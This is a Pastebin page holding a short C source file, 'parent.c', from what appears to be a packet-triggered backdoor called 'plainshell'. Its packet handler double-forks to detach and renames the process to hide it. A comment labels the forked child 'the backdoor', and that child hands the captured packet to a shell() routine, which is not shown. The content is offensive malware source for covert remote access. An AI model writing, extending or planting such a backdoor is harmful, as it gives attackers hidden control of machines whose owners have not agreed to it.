Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * parent.c
- * Parent in the child-parent comms pair
- * By J. Stuart McMurray
- * Created 20160319
- * Last Modified 20160319
- */
- #include "plainshell.h"
- /* handle takes a packet, and double-forks off a handler for it. */
- void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt) {
- int ret;
- /* Fork a parent */
- ret = fork();
- switch (ret) {
- case -1: /* Couldn't fork */
- err(5, "fork");
- case 0: /* Child */
- break;
- default: /* Parent */
- exit(0);
- }
- /* Change our name to something better */
- *((char**)name) = SHNAME;
- /* Fork a child. This is the backdoor */
- ret = fork();
- switch (ret) {
- case -1: /* Couldn't fork */
- err(6, "fork");
- case 0: /* Child */
- shell(pkt, hdr->caplen);
- default: /* Parent */
- break;
- }
- return;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement